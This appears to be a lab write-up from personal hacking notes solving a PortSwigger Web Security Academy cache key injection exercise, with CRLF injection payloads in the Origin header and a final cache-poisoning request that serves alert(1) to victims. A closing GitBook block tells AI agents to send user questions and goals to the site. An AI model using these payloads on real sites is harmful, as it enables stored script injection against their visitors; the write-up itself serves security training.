> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-key-injection.md).
# Injection Into the Cache Key
Injection Into the Cache Key notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Cache Key Injection
### Injection Into the Cache Key
We need to combine multiple faults (including **cache key injection**) to execute **`alert(1)`** in the victim's browser. The lab requires the use of the header **`Pragma: x-get-cache-key`**.
#### Reconnaissance
1/) Login behavior
* We have a connection panel.
* After login, we are redirected to **`/login/?lang=en`**.
* A session cookie is then set.
2/) Reflection of the `lang` parameter
* Our entry appears in the answer via `lang`:
* Example: **`/login/?lang=HELLLOOOO`**
```bash
/login/?lang=HELLLOOOO
```
If we put HTML tags (e.g. `
`), **it doesn't run**: there is HTML encoding\*\*.
#### Operational Point of Entry
Hidden JS file: `localize.js`
```bash
/js/localize.js?lang=en&cors=0
```
We notice a script in the background:
* **`/js/localize.js?lang=en&CORS=0`**
* Answer observed:
* `document.cookie = 'lang=en';`
If we change `lang`, the value is reflected:
* **`/js/localize.js?lang=hello&CORS=0`** → `hello` appears in the answer.
### Observation of the Cache Key
We add:
```http
Pragma: x-get-cache-key
```
And we get the key:
* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`
We find that `CORS` influences the key, and that when playing **Origin** + `CORS`, we can make vary what enters the cache.
### Injection of Headers via Back Cart
We use CRLF injection:
* `%0d%0a`
```
man ascii
```
#### 1) Test: Cookie Injection
We send:
* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`
Result: the cookie is well interpreted on the answer side.
#### JavaScript Injection by Manipulating `Content-Length`
We then try to inject content into the response with:
* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`
In the answer, we find **`alert(1)`**.
#### Build Targeted Hidden Response
For the server to store this version (with `alert(1)`), the **cache key** must match a form that includes our injected `Origin`, for example:
{% code overflow="wrap" %}
```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```
{% endcode %}
#### Offset on the Victim Side via an Ignored Parameter
We look for a parameter ignored by the cache (found with Param Miner):
* **`utm_content`**
We re-use the key cache and place the payload in `utm_content` to serve the poisoned resource while visiting `lang=en`.
Final Request (as we used):
{% code overflow="wrap" %}
```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```
{% endcode %}
When the victim opens the page in **`/login/?lang=en`** (via redirection), the poisoned content is served from the cache, and **`alert(1)`** runs.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-key-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
